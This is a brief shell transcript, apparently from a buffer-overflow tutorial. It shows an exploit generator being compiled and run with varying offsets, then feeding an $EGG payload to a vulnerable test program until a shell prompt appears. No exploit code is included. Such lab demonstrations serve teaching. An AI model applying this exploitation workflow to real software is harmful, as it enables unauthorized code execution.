[root@hax0r exp1]# ls
Makefile bufme.c overbufme.c tuto1.txt
[root@hax0r exp1]# make
gcc bufme.c -o bufme
gcc overbufme.c -o over1 -lexploit
[root@hax0r exp1]# ls
Makefile bufme bufme.c over1 overbufme.c tuto1.txt
[root@hax0r exp1]# ./over1 500 0
...
[root@hax0r exp1]# ./bufme $EGG
... nothing ...
[root@hax0r exp1]# ./over1 550 0
...
[root@hax0r exp1]# ./bufme $EGG
sh-2.04#
bingo ;)